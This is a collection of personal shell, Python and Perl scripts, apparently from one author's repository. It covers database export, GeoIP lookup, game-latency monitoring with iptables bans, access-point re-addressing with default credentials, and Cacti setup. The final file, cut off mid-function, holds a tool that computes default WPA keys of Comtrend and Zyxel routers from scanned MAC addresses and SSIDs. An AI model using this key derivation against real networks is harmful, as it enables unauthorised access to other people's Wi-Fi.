-------------------------------------------------------------------------------- /sql/sql2csv.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | QUERY="$1" 3 | mysql -u root -p"PASSSWORD" -e "$QUERY" TABLE |sed -e "s/\t/;/g" 4 | -------------------------------------------------------------------------------- /switch/geoip.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import sys 4 | 5 | GeoIP2Reader = None 6 | from geoip2.database import Reader as GeoIP2Reader 7 | 8 | #import geoip2.database 9 | 10 | # This creates a Reader object. You should use the same object 11 | # across multiple requests as creation of it is expensive. 12 | #reader = geoip2.database.Reader('GeoLite2-Country.mmdb') 13 | #http://geolite.maxmind.com/download/geoip/database/GeoLite2-City.tar.gz 14 | reader = GeoIP2Reader('/home/pau/bin/GeoLite2-City.mmdb') 15 | 16 | # Replace "city" with the method corresponding to the database 17 | # that you are using, e.g., "country". 18 | #response = reader.city('8.8.8.8') 19 | response = reader.city(sys.argv[1]) 20 | #print response.country.iso_code 21 | #print "["+response.country.iso_code+"] "+response.country.name+" ("+response.continent.name+")" 22 | print u' '.join(("[",str(response.country.iso_code),"]",str(response.country.name),"(",str(response.continent.name),")")).encode('utf-8').strip() 23 | #print response.registered_country.name 24 | #print response.represented_country.name 25 | #print response.city.name 26 | #print response.city.geoname_id 27 | #print response.maxmind 28 | #print response.traits 29 | #print response.continent.name 30 | #print response.postal.code 31 | #print response.location.latitude 32 | #print response.location.longitude 33 | #print response.subdivisions.most_specific.name # <---- Barcelona, tarragona, lleida, girona 34 | #print response.subdivisions.most_specific.iso_code 35 | reader.close() 36 | -------------------------------------------------------------------------------- /switch/usf2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | SWITCH="192.168.x.x" 4 | 5 | NC="\033[0m" 6 | RED="\033[1;31m" 7 | GREEN="\033[1;32m" 8 | YELLOW="\033[1;33m" 9 | MARK="\033[1;37m" 10 | GRAY="\033[1;30m" 11 | 12 | LAST='' 13 | IPS2='' 14 | repeat=0 15 | ban=0 16 | 17 | printf " ${GRAY}-------------------------${NC}\n" 18 | printf "${GRAY}>${NC} Nintendo Switch Latency Monitor v0.1\n" 19 | printf "${GRAY}>${NC} (c) 2017 Pau Oliva Fora - ${MARK}@pof${NC}\n" 20 | printf " ${GRAY}-------------------------${NC}\n" 21 | 22 | sudo echo -n '' 23 | 24 | case $1 in 25 | "-b") ban=1 ;; # play only europe 26 | "-c") ban=200 ;; # play only ping < 200 27 | "-r") 28 | # clear bans 29 | echo "Cleaning bans..." 30 | for f in `sudo iptables -n -L FORWARD |grep -i DROP |awk '{print $4}' |grep -vi "DROP"` ; do echo "Clean $f - OK"; sudo iptables -D FORWARD -j DROP -s $f ; done 31 | rm -rf /tmp/usf2ban.txt 2>/dev/null 32 | echo "Done!" 33 | exit 0 34 | ;; 35 | "-k") 36 | echo "Banning known users..." 37 | cat /home/pau/bin/knonw-users.txt |cut -f 1 -d " "| xargs -n 1 sudo iptables -I FORWARD -j DROP -s 38 | exit 0 39 | ;; 40 | esac 41 | 42 | rm /tmp/usf2last.txt /tmp/usf2ips.txt /tmp/usf2diff.txt 2>/dev/null 43 | 44 | while true ; do 45 | IPS=$(sudo tac /proc/net/ip_conntrack |grep "^udp.*${SWITCH}.*ASSURED" |grep -v "dport=53 " |awk '{print $5}' |sed -e "s/^dst=//g" |awk -vORS=" " '!x[$0]++') 46 | #IPS=$(sudo tac /proc/net/ip_conntrack |grep "udp.*ASSURED" |awk '{print $5}' |sed -e "s/^dst=//g" |awk -vORS=" " '!x[$0]++') 47 | 48 | # filter out amazon ips (nintendo infra) 49 | IPS3='' 50 | for ip in ${IPS} ; do 51 | dig +short -x ${ip} |grep "\.amazonaws\.com.$" >/dev/null 52 | if [ "$?" -ne 0 ]; then 53 | IPS3="$IPS3 $ip" 54 | fi 55 | done 56 | IPS=$(echo $IPS3 |sed -e "s/^ //g") 57 | 58 | if [ -z "${IPS}" ]; then 59 | sleep 1s 60 | continue 61 | fi 62 | 63 | echo $LAST |sed -e "s: :\n:g" |sort -u >/tmp/usf2last.txt 64 | echo $IPS |sed -e "s: :\n:g" |sort -u >/tmp/usf2ips.txt 65 | 66 | echo "$LAST" |grep "^${IPS}$" >/dev/null 67 | if [ $? -eq 0 ]; then 68 | repeat=$(( $repeat + 1 )) 69 | LAST=$IPS 70 | else 71 | repeat=0 72 | diff /tmp/usf2last.txt /tmp/usf2ips.txt > /tmp/usf2diff.txt 73 | IPS2=$(cat /tmp/usf2diff.txt |grep ">" |awk '{print $2}') 74 | fi 75 | 76 | LAST=$IPS 77 | if [ "$repeat" -ge 3 ]; then continue ; fi 78 | 79 | IPS=$(echo "${IPS2} ${IPS}" |sed -e "s: :\n:g" |awk -vORS=" " '!x[$0]++') 80 | 81 | for ip in ${IPS} ; do 82 | 83 | new=0 84 | cat /tmp/usf2diff.txt |grep "> ${ip}$" >/dev/null 2>/dev/null 85 | if [ $? -eq 0 ]; then 86 | new=1 87 | MARK="\033[1;37m" 88 | else 89 | MARK="" 90 | fi 91 | 92 | iplen=$(echo $ip |wc -c) 93 | spaces=$(( 16 - $iplen )) 94 | printf "> ${MARK}${ip}${NC} " 95 | for f in `seq 1 $spaces` ; do 96 | printf " " 97 | done 98 | printf -- "- " 99 | country=$(geoip.py ${ip} 2>/dev/null) 100 | if [ -z "$country" ]; then country="[ xx ] Unknown (Unknown)" ; fi 101 | printf "$country - " 102 | 103 | if [ "$ban" -eq 1 ]; then 104 | echo "$country" |egrep "(Europe|Unknown)" >/dev/null 105 | if [ $? -ne 0 ]; then 106 | cat /tmp/usf2ban.txt 2>/dev/null |grep "^${ip}$" >/dev/null 107 | if [ $? -ne 0 ]; then 108 | dig +short -x ${ip} |grep -i "\.amazonaws\.com.$" >/dev/null 109 | if [ "$?" -ne 0 ]; then 110 | echo "$ip" >> /tmp/usf2ban.txt 111 | sudo iptables -I FORWARD -j DROP -s ${ip} 112 | printf "[${RED}BAN!${NC}] " 113 | else 114 | printf "(${YELLOW}!!!${NC} ${MARK}AMAZON${NC} ${YELLOW}!!!${NC}) - " 115 | fi 116 | else 117 | printf "[${RED}BANED${NC}] " 118 | fi 119 | fi 120 | fi 121 | 122 | res=$(ping -nq -c1 -W1 ${ip} |grep "^rtt" |awk '{print $4}' |cut -f 2 -d "/") 123 | if [ -z "${res}" ]; then 124 | res=$(traceroute -n -q 1 -w 0.4 -N 16 -m 16 ${ip} |grep " ms$" |rev |cut -f 2 -d " " |rev |cut -f 1 -d "." |sort -nr |head -n 1) 125 | fi 126 | 127 | res=$(echo -n "$res" |cut -f 1 -d "." |egrep -o "[0-9]+") 128 | 129 | if [ "$ban" -eq 200 ]; then 130 | if [ $res -ge 200 ]; then 131 | cat /tmp/usf2ban.txt 2>/dev/null |grep "^${ip}$" >/dev/null 132 | if [ $? -ne 0 ]; then 133 | dig +short -x ${ip} |grep -i "\.amazonaws\.com.$" >/dev/null 134 | if [ "$?" -ne 0 ]; then 135 | echo "$ip" >> /tmp/usf2ban.txt 136 | sudo iptables -I FORWARD -j DROP -s ${ip} 137 | printf "[${RED}BAN!${NC}] " 138 | else 139 | printf "(${YELLOW}!!!${NC} ${MARK}AMAZON${NC} ${YELLOW}!!!${NC}) - " 140 | fi 141 | else 142 | printf "[${RED}BANED${NC}] " 143 | fi 144 | fi 145 | fi 146 | 147 | if [ $res -le 100 ]; then 148 | printf "${GREEN}${res} ms${NC}\n" 149 | elif [ $res -le 140 ]; then 150 | printf "${YELLOW}${res} ms${NC}\n" 151 | else 152 | printf "${RED}${res} ms${NC}\n" 153 | fi 154 | 155 | done 156 | 157 | GONE=$(cat /tmp/usf2diff.txt |grep "<" |awk '{print $2}' 2>/dev/null) 158 | for ip2 in ${GONE}; do 159 | 160 | iplen=$(echo $ip2 |wc -c) 161 | spaces=$(( 16 - $iplen )) 162 | printf "< ${GRAY}${ip2}${NC} " 163 | for f in `seq 1 $spaces` ; do 164 | printf " " 165 | done 166 | printf -- "- " 167 | country=$(geoip.py ${ip2} 2>/dev/null) 168 | if [ -z "$country" ]; then country="[ xx ] Unknown (Unknown)" ; fi 169 | printf "${GRAY}${country}${NC}\n" 170 | done 171 | 172 | printf " ${GRAY}-------------------------${NC}\n" 173 | done 174 | -------------------------------------------------------------------------------- /trim/trim.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | # Declare the subroutine 4 | sub trimwhitespace($); 5 | 6 | # Here is how to output the trimmed text 7 | print trimwhitespace($ARGV[0]); 8 | 9 | # Remove whitespace from the start and end of the string 10 | sub trimwhitespace($) 11 | { 12 | my $string = shift; 13 | $string =~ s/^\s+//; 14 | $string =~ s/\s+$//; 15 | return $string; 16 | } 17 | -------------------------------------------------------------------------------- /tv3/tv3-donwload.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # tv3 a la carta donwloader 3 | # (c) 2012 pau oliva fora 4 | 5 | if [ -z $1 ]; then 6 | echo "Usage: $0 video-id" 7 | echo " Example: http://www.tv3.cat/3alacarta/videos/3975330" 8 | echo " the video-id is: 3975330" 9 | exit 1 10 | fi 11 | 12 | video=$1 13 | OUT=$(curl -m 10 -s "http://www.tv3.cat/su/tvc/tvcConditionalAccess.jsp?ID=${video}&QUALITY=H&FORMAT=MP4") 14 | RTMP=$(echo ${OUT} |sed -e "s/ /\n/g" |grep rtmp |cut -f 2 -d ">" |cut -f 1 -d "<" |grep "^rtmp") 15 | rtmpdump -r "${RTMP}" -o "${video}.mp4" 16 | # si falla afegir --resume al rtmpdump :P 17 | -------------------------------------------------------------------------------- /unity/kick-unity: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Joshua V. Dillon 4 | # jvdillon (a) gmail (.) com 5 | # 6 | # Restart unity even from a TTY (control-alt-F1). 7 | 8 | export DISPLAY=:0.0; 9 | export DBUS_SESSION_BUS_ADDRESS=$(grep -z DBUS_SESSION_BUS_ADDRESS /proc/$(pgrep -nu $USER gnome-screensav)/environ|cut -d= -f2-) 10 | unity --replace & 11 | 12 | -------------------------------------------------------------------------------- /unity/kick-unity2d: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Restart unity2D even from a TTY (control-alt-F1). 3 | 4 | export DISPLAY=:0.0; 5 | export DBUS_SESSION_BUS_ADDRESS=$(grep -z DBUS_SESSION_BUS_ADDRESS /proc/$(pgrep -nu $USER gnome-screensav)/environ|cut -d= -f2-) 6 | 7 | #unity_2d="unity-2d-places unity-2d-launcher unity-2d-panel unity-2d-spread" 8 | unity_2d="unity-2d-launcher unity-2d-panel" 9 | 10 | killall $unity_2d 11 | metacity --replace & 12 | for f in $unity_2d; do 13 | "$f" & 14 | done 15 | -------------------------------------------------------------------------------- /unity/lockscreen.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | gsettings set org.gnome.desktop.lockdown disable-lock-screen 'false' 3 | gnome-screensaver-command -l 4 | sleep 1s 5 | gsettings set org.gnome.desktop.lockdown disable-lock-screen 'true' 6 | -------------------------------------------------------------------------------- /wifi/ap/cisco-1100.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # cambiar ip a traves de http automaticamente en Cisco 1100 3 | # (c) 2010 Pau Oliva 4 | 5 | USER="username" 6 | PASS="password" 7 | 8 | OLDIP="10.45.1.10" 9 | NEWIP="10.4.128.10" 10 | NEWGW="10.4.128.1" 11 | NEWMASK="255.255.252.0" 12 | 13 | ping -c1 -w1 $OLDIP >/dev/null 2>/dev/null 14 | if [ $? != 0 ]; then 15 | echo "$OLDIP ---> NO CONTESTA PING, MISSION ABORTED!!" 16 | exit 1 17 | fi 18 | 19 | # cambiamos DNS 20 | echo "cambio DNS" 21 | curl "http://${USER}:${PASS}@${OLDIP}/no+ip+name-server%5Bconfigure%5D%0Aip+name-server+%24textNameServer1+%24textNameServer2+%24textNameServer3%5Bconfigure%5D%0Awrite+memory+quiet%0A" -d "htmlSubmit=true&radioEnableDns=T&textDefaultDomain=&textNameServer1=${NEWGW}&textNameServer2=&textNameServer3=" -o /dev/null 2>/dev/null 22 | 23 | # cambiamos IP y GW 24 | echo "cambio ip y gw" 25 | curl "http://${USER}:${PASS}@${OLDIP}/ip+default-gateway+${NEWGW}%5Bconfigure%5D%0Aip+address+${NEWIP}+${NEWMASK}%5Binterface%2fBVI1%5D%0Awrite+memory+quiet%0A" -d "send=back.htm&SHO_RUN=&SHO_DEFAULT_GATEWAY=&SHO_IP_INT_BRIEF=&SHO_RUN_BV1=&SHO_INT_BV1=&showInt=&radio_dhcp=static&text_ipaddress=${NEWIP}&text_netmask=${NEWMASK}&text_gateway=${NEWGW}" -o /dev/null 2>/dev/null 26 | 27 | echo "CAMBIO: $OLDIP --> $NEWIP" 28 | ping -c1 -w2 $OLDIP >/dev/null 2>/dev/null 29 | if [ $? != 1 ]; then 30 | echo "$OLDIP --> SIGUE CONTESTANDO PING, ALGO FALLA!!" 31 | exit 1 32 | fi 33 | ping -c1 -w3 $NEWIP >/dev/null 2>/dev/null 34 | if [ $? != 0 ]; then 35 | echo "$NEWIP ---> NO CONTESTA PING" 36 | exit 1 37 | fi 38 | 39 | -------------------------------------------------------------------------------- /wifi/ap/cisco-350vxw.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # cambiar ip via http automaticamente en Cisco 350 vxworks 3 | # (c) 2010 Pau Oliva 4 | 5 | USER="username" 6 | PASS="password" 7 | 8 | OLDIP="10.0.0.10" 9 | NEWIP="10.22.0.10" 10 | NEWMASK="255.255.255.0" 11 | NEWGW="10.22.0.1" 12 | 13 | ping -c1 -w1 $OLDIP >/dev/null 2>/dev/null 14 | if [ $? != 0 ]; then 15 | echo "$OLDIP ---> NO CONTESTA PING, MISSION ABORTED!!" 16 | exit 1 17 | fi 18 | 19 | curl "http://${USER}:${PASS}@${OLDIP}/Setup.shm" -D header1 > tmpfile 2>/dev/null 20 | URL1=`cat tmpfile |grep "Express Setup" |cut -f 2 -d \"` 21 | rm tmpfile 22 | 23 | curl "http://${USER}:${PASS}@${OLDIP}/${URL1}" -D header2 -e "http://${USER}:${PASS}@${OLDIP}/Setup.shm" > tmpfile 2>/dev/null 24 | URL2=`cat tmpfile |grep "^action=" |cut -f 2 -d \"` 25 | 26 | text_sysName=`cat tmpfile |grep "text_sysName" |cut -f 4 -d \"` 27 | ssid=`cat tmpfile |grep text_dot11DesiredSSID.2 |cut -f 4 -d \"` 28 | snmp=`cat tmpfile |grep "text_SNMPAdminCommunity" |cut -f 6 -d \"` 29 | 30 | curl "http://${USER}:${PASS}@${OLDIP}${URL2}" -D header3 -e "http://${USER}:${PASS}@${OLDIP}/${URL1}" -d "text_sysName=${text_sysName}&select_bootconfigBootProtocol=1&text_awcIfDefaultIpAddress.1=${NEWIP}&text_awcIfDefaultIpNetMask.1=${NEWMASK}&text_ipRouteNextHop.0.0.0.0=${NEWGW}&text_dot11DesiredSSID.2=${ssid}&select_SetExpressNetworkRole=4&radio_optimizeRadio=R&default_awcDot11Compatible4500.2=F&default_awcDot11UseAWCExtensions.2=T&text_SNMPAdminCommunity=${snmp}&OK=%A0%A0OK%A0%A0" -o /dev/null 2>/dev/null 31 | 32 | rm tmpfile 2>/dev/null 33 | rm header1 2>/dev/null 34 | rm header2 2>/dev/null 35 | rm header3 2>/dev/null 36 | echo "CAMBIO: $OLDIP --> $NEWIP" 37 | sleep 5s 38 | ping -c1 -w2 $OLDIP >/dev/null 2>/dev/null 39 | if [ $? != 1 ]; then 40 | echo "$OLDIP --> SIGUE CONTESTANDO PING, ALGO FALLA!!" 41 | exit 1 42 | fi 43 | ping -c1 -w5 $NEWIP >/dev/null 2>/dev/null 44 | if [ $? != 0 ]; then 45 | echo "$NEWIP ---> NO CONTESTA PING" 46 | exit 1 47 | fi 48 | 49 | -------------------------------------------------------------------------------- /wifi/ap/linksys-WAP200.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # cambiar ip automaticamente en linksys WAP200 3 | # (c) 2009 Pau Oliva 4 | 5 | USER="admin" 6 | PASS="admin" 7 | 8 | OLDIP="10.3.192.4" 9 | NEWIP="10.3.192.3" 10 | NEWMASK="255.255.252.0" 11 | NEWGW="10.3.192.1" 12 | 13 | ### no tocar a partir de aqui 14 | rm setup.txt 2>/dev/null 15 | rm result.txt 2>/dev/null 16 | ping -c1 -w1 $OLDIP >/dev/null 2>/dev/null 17 | if [ $? != 0 ]; then 18 | echo "$OLDIP ---> NO CONTESTA PING, MISSION ABORTED!!" 19 | exit 1 20 | fi 21 | 22 | curl -m 30 http://${USER}:${PASS}@${OLDIP}/SetupLanTypeStatic.htm > setup1.txt 2>/dev/null 23 | curl -m 30 http://${USER}:${PASS}@${OLDIP}/Setup.htm >> setup2.txt 2>/dev/null 24 | HOSTNAME=`cat setup2.txt |grep "passForm.hostname.value" |grep -v "''" |grep -v "\/\/p" |cut -f 2 -d "'" |head -n 1` 25 | lan_ipaddr=`cat setup1.txt |grep "SplitLanIPAddress" |grep "static" |cut -f 2 -d "'"` 26 | if [ "$lan_ipaddr" != "$OLDIP" ]; then 27 | echo "ERROR: $lan_ipaddr != $OLDIP" 28 | exit 1 29 | fi 30 | lan_netmask=`cat setup1.txt |grep "SplitLanSubnetMask" |grep "static" |cut -f 2 -d "'" |head -n 1` 31 | nameserver2=`cat setup1.txt |grep "SplitLanSecDNS" |grep "name_server" |cut -f 2 -d "'" |head -n 1` 32 | curl -m 30 http://${USER}:${PASS}@${OLDIP}/apply.cgi -d "page=Setup.htm&hostname=${HOSTNAME}&device_name=&lan_mode=1&lan_ipaddr=${NEWIP}&lan_netmask=${NEWMASK}&lan_gateway=${NEWGW}&lan_prim_dns=${NEWGW}&lan_sec_dns=${nameserver2}&is_dns_neg=0&default_route=1" > result.txt 2>/dev/null 33 | cat result.txt |grep "System Restart" |sed -e "s/

/\n/g" |grep "System Restart" 34 | if [ $? != 0 ]; then 35 | echo "ERROR: see result.txt" 36 | exit 1 37 | fi 38 | rm setup.txt 2>/dev/null 39 | rm setup1.txt 2>/dev/null 40 | rm setup2.txt 2>/dev/null 41 | rm result.txt 2>/dev/null 42 | echo "CAMBIO: $OLDIP --> $NEWIP" 43 | sleep 15s 44 | ping -c1 -w2 $OLDIP >/dev/null 2>/dev/null 45 | if [ $? != 1 ]; then 46 | echo "$OLDIP --> SIGUE CONTESTANDO PING, ALGO FALLA!!" 47 | exit 1 48 | fi 49 | sleep 2s 50 | ping -c1 -w6 $NEWIP >/dev/null 2>/dev/null 51 | if [ $? != 0 ]; then 52 | echo "$NEWIP ---> NO CONTESTA PING" 53 | exit 1 54 | fi 55 | -------------------------------------------------------------------------------- /wifi/ap/linksys-WAP2000.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # cambiar ip automaticamente en linksys WAP2000 3 | # (c) 2009 Pau Oliva 4 | 5 | USER="admin" 6 | PASS="admin" 7 | 8 | OLDIP="10.3.192.3" 9 | NEWIP="10.3.192.4" 10 | NEWMASK="255.255.252.0" 11 | NEWGW="10.3.192.1" 12 | 13 | rm setup.txt 2>/dev/null 14 | rm result.txt 2>/dev/null 15 | ping -c1 -w1 $OLDIP >/dev/null 2>/dev/null 16 | if [ $? != 0 ]; then 17 | echo "$OLDIP ---> NO CONTESTA PING, MISSION ABORTED!!" 18 | exit 1 19 | fi 20 | 21 | #curl http://${USER}:${PASS}@${OLDIP}/SetupLanTypeStatic.htm > setup.txt 22 | curl -m 30 http://${USER}:${PASS}@${OLDIP}/Setup.htm >> setup.txt 2>/dev/null 23 | HOSTNAME=`cat setup.txt |grep "passForm.hostname.value" |grep -v "''" |grep -v "\/\/p" |cut -f 2 -d "'"` 24 | SYSNAME=`cat setup.txt |grep "passForm.SYSName.value" |grep -v "''" |grep -v "\/\/p" |cut -f 2 -d "'"` 25 | SYSCONTACT=`cat setup.txt |grep "passForm.SYSContact.value" |grep -v "''" |grep -v "\/\/p" |cut -f 2 -d "'"` 26 | SYSLOCATION=`cat setup.txt |grep "passForm.SYSLocation.value" |grep -v "''" |grep -v "\/\/p" |cut -f 2 -d "'"` 27 | lan_mode=`head -n 30 setup.txt |grep "^var lan_mode" |cut -f 2 -d "'"` 28 | if [ "$lan_mode" != "1" ]; then 29 | echo "ERROR: Lan mode ($lan_mode)no es IP statica!" 30 | exit 1 31 | fi 32 | lan_ipaddr=`cat setup.txt |grep "SplitLanIPAddress" |grep "static" |cut -f 2 -d "'"` 33 | if [ "$lan_ipaddr" != "$OLDIP" ]; then 34 | echo "ERROR: $lan_ipaddr != $OLDIP" 35 | exit 1 36 | fi 37 | lan_netmask=`cat setup.txt |grep "SplitLanSubnetMask" |grep "static" |cut -f 2 -d "'"` 38 | #lan_gateway=`cat setup.txt |grep "SplitLanGateway" |grep "static" |cut -f 2 -d "'"` 39 | #nameserver1=`cat setup.txt |grep "SplitLanPrimDNS" |grep "name_server" |cut -f 2 -d "'"` 40 | nameserver2=`cat setup.txt |grep "SplitLanSecDNS" |grep "name_server" |cut -f 2 -d "'"` 41 | curl -m 30 http://${USER}:${PASS}@${OLDIP}/apply.cgi -d "page=index.htm&hostname=${HOSTNAME}&device_name=&lan_mode=1&lan_ipaddr=${NEWIP}&lan_netmask=${NEWMASK}&lan_gateway=${NEWGW}&lan_prim_dns=${NEWGW}&lan_sec_dns=${nameserver2}&is_dns_neg=0&default_route=1&SYSName=${SYSNAME}&SYSContact=${SYSCONTACT}&SYSLocation=${SYSLOCATION}" > result.txt 2>/dev/null 42 | cat result.txt |grep "System Restart" |sed -e "s/

/\n/g" |grep "System Restart" 43 | if [ $? != 0 ]; then 44 | echo "ERROR: see result.txt" 45 | exit 1 46 | fi 47 | rm setup.txt 2>/dev/null 48 | rm result.txt 2>/dev/null 49 | echo "CAMBIO: $OLDIP --> $NEWIP" 50 | sleep 15s 51 | ping -c1 -w2 $OLDIP >/dev/null 2>/dev/null 52 | if [ $? != 1 ]; then 53 | echo "$OLDIP --> SIGUE CONTESTANDO PING, ALGO FALLA!!" 54 | exit 1 55 | fi 56 | ping -c1 -w5 $NEWIP >/dev/null 2>/dev/null 57 | if [ $? != 0 ]; then 58 | echo "$NEWIP ---> NO CONTESTA PING" 59 | exit 1 60 | fi 61 | -------------------------------------------------------------------------------- /wifi/ap/linksys-ip.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # cambiar ip automaticamente en linksys WAP2000 3 | # (c) 2009 Pau Oliva 4 | 5 | USER="admin" 6 | PASS="admin" 7 | OLDIP="10.27.1.5" 8 | 9 | NEWIP="10.27.1.4" 10 | NEWMASK="255.255.0.0" 11 | NEWGW="10.27.1.1" 12 | 13 | ### no tocar a partir de aqui 14 | rm setup.txt >/dev/null 15 | rm result.txt >/dev/null 16 | ping -c1 -w1 $OLDIP >/dev/null 2>/dev/null 17 | if [ $? != 0 ]; then 18 | echo "$OLDIP ---> NO CONTESTA PING, MISSION ABORTED!!" 19 | exit 1 20 | fi 21 | curl http://${USER}:${PASS}@${OLDIP}/Setup.htm > setup.txt 22 | HOSTNAME=`cat setup.txt |grep "passForm.hostname.value" |grep -v "''" |grep -v "\/\/p" |cut -f 2 -d "'"` 23 | SYSNAME=`cat setup.txt |grep "passForm.SYSName.value" |grep -v "''" |grep -v "\/\/p" |cut -f 2 -d "'"` 24 | SYSCONTACT=`cat setup.txt |grep "passForm.SYSContact.value" |grep -v "''" |grep -v "\/\/p" |cut -f 2 -d "'"` 25 | SYSLOCATION=`cat setup.txt |grep "passForm.SYSLocation.value" |grep -v "''" |grep -v "\/\/p" |cut -f 2 -d "'"` 26 | lan_mode=`head -n 30 setup.txt |grep "^var lan_mode" |cut -f 2 -d "'"` 27 | if [ "$lan_mode" != "1" ]; then 28 | echo "ERROR: Lan mode ($lan_mode)no es IP statica!" 29 | exit 1 30 | fi 31 | lan_ipaddr=`cat setup.txt |grep "SplitLanIPAddress" |grep "static" |cut -f 2 -d "'"` 32 | if [ "$lan_ipaddr" != "$OLDIP" ]; then 33 | echo "ERROR: $lan_ipaddr != $OLDIP" 34 | exit 1 35 | fi 36 | lan_netmask=`cat setup.txt |grep "SplitLanSubnetMask" |grep "static" |cut -f 2 -d "'"` 37 | #lan_gateway=`cat setup.txt |grep "SplitLanGateway" |grep "static" |cut -f 2 -d "'"` 38 | #nameserver1=`cat setup.txt |grep "SplitLanPrimDNS" |grep "name_server" |cut -f 2 -d "'"` 39 | nameserver2=`cat setup.txt |grep "SplitLanSecDNS" |grep "name_server" |cut -f 2 -d "'"` 40 | curl http://${USER}:${PASS}@${OLDIP}/apply.cgi -d "page=index.htm&hostname=${HOSTNAME}&device_name=&lan_mode=1&lan_ipaddr=${NEWIP}&lan_netmask=${NEWMASK}&lan_gateway=${NEWGW}&lan_prim_dns=${NEWGW}&lan_sec_dns=${nameserver2}&is_dns_neg=0&default_route=1&SYSName=${SYSNAME}&SYSContact=${SYSCONTACT}&SYSLocation=${SYSLOCATION}" > result.txt ; echo 41 | cat result.txt |grep "System Restart" |sed -e "s/

/\n/g" |grep "System Restart" 42 | if [ $? != 0 ]; then 43 | echo "ERROR: see result.txt" 44 | exit 1 45 | fi 46 | rm setup.txt 47 | rm result.txt 48 | echo "CAMBIO: $OLDIP --> $NEWIP" 49 | ping -c1 -w1 $NEWIP >/dev/null 2>/dev/null 50 | if [ $? != 0 ]; then 51 | echo "$NEWIP ---> NO CONTESTA PING" 52 | exit 1 53 | fi 54 | 55 | -------------------------------------------------------------------------------- /wifi/ap/new-cacti-ap.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | NEMONICO="$1" 4 | IP="$2" 5 | 6 | if [ "$#" != 2 ]; then 7 | echo "USAGE: $0 " 8 | exit 1 9 | fi 10 | 11 | CACTI="CACTI_IP" 12 | C_USER="CACTI_USER" 13 | C_PASS="CACTI_PASS" 14 | 15 | # auth 16 | curl http://${CACTI}/cacti/index.php -d "action=login&login_username=${C_USER}&login_password=${C_PASS}" -c cookies 17 | 18 | sleep 1s 19 | 20 | # add host 21 | curl -s http://${CACTI}/cacti/host.php -d "description=${NEMONICO}&hostname=${IP}&host_template_id=9&availability_method=2&ping_method=1&ping_port=23&ping_timeout=400&ping_retries=1&snmp_version=1&snmp_community=kubisnmp&snmp_username=&snmp_password=&snmp_password_confirm=&snmp_auth_protocol=MD5&snmp_priv_passphrase=&snmp_priv_protocol=DES&snmp_context=&snmp_port=161&snmp_timeout=500&max_oids=10¬es=&id=0&_host_template_id=0&save_component_host=1&action=save&x=33&y=11" -b cookies 22 | 23 | sleep 1s 24 | 25 | # list hosts 26 | curl -s "http://${CACTI}/cacti/host.php?host_template_id=9&host_status=-1&filter=&host_rows=5000&x=18&y=11&page=1" -b cookies > hostlist.txt 27 | 28 | # get id of the host we added 29 | ID=`cat hostlist.txt |grep "id=.*'>${NEMONICO}" |cut -f 7 -d "=" |cut -f 1 -d "'"` 30 | 31 | echo "ID: $ID ($NEMONICO - $IP)" 32 | if [ -z "$ID" ]; then 33 | echo -n "ENTER ID: " 34 | read ID 35 | fi 36 | 37 | 38 | sleep 3s 39 | # create 3 graphs for our new host (42 & 36 & 7) 40 | curl -s http://${CACTI}/cacti/graphs_new.php -d "cg_42=on&cg_36=on&cg_7=on&cg_g=0&save_component_graph=1&host_id=${ID}&host_template_id=9&action=save&x=49&y=12" -b cookies -o /dev/null 41 | 42 | sleep 3s 43 | curl -s http://${CACTI}/cacti/graphs_new.php -d "gi_0_7_16_color_id=25&gi_0_7_17_text_format=&host_template_id=9&host_id=${ID}&save_component_new_graphs=1&selected_graphs_array=a%3A1%3A%7Bs%3A2%3A%22cg%22%3Ba%3A3%3A%7Bi%3A42%3Ba%3A1%3A%7Bi%3A42%3Bb%3A1%3B%7Di%3A36%3Ba%3A1%3A%7Bi%3A36%3Bb%3A1%3B%7Di%3A7%3Ba%3A1%3A%7Bi%3A7%3Bb%3A1%3B%7D%7D%7D&action=save&x=61&y=16" -b cookies -o /dev/null 44 | 45 | sleep 1s 46 | -------------------------------------------------------------------------------- /wifi/calcwlan-ng.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # CalcWLAN-ng 0.5-python by pof 4 | # Some functions taken from Hugo Chargois iwlistparse.py v.0.1 5 | 6 | import os 7 | import sys 8 | import subprocess 9 | import re 10 | import hashlib 11 | 12 | print "[] CalcWLAN-ng 0.5-python by pof" 13 | 14 | if len(sys.argv) < 2: 15 | print "Usage: "+sys.argv[0]+" [-all]" 16 | print "Example: "+sys.argv[0]+" wlan0" 17 | sys.exit(1) 18 | 19 | if os.getuid() != 0: 20 | print "You must be root to scan networks." 21 | sys.exit(1) 22 | 23 | def crack_comtrend(mac,ssid): 24 | head = ssid[len(ssid)-4:len(ssid)].upper() 25 | bssid=re.sub(":","",mac).upper() 26 | bssidp=bssid[:8] 27 | key = hashlib.md5("bcgbghgg"+bssidp+head+bssid).hexdigest().lower()[:20] 28 | return key 29 | 30 | def crack_zyxel(mac,ssid): 31 | head = ssid[len(ssid)-4:len(ssid)].lower() 32 | bssidp=re.sub(":","",mac).lower()[:8] 33 | key = hashlib.md5(bssidp+head).hexdigest().upper()[:20] 34 | return key 35 | 36 | def get_key(cell): 37 | try: 38 | ssid = matching_line(cell,"ESSID:")[1:-1] 39 | except TypeError: 40 | ssid = "null" 41 | #match = re.search("(WLAN|JAZZTEL)_....$",ssid) 42 | #if match: 43 | mac = matching_line(cell,"Address: ") 44 | if re.search("^00:1F:A4:",mac): 45 | key = crack_zyxel(mac,ssid) 46 | elif re.search("^(00:1A:2B|00:1D:20|64:68:0C)",mac): 47 | key = crack_comtrend(mac,ssid) 48 | else: 49 | key = "null" 50 | 51 | enc = get_encryption(cell) 52 | if not re.search("WPA",enc): 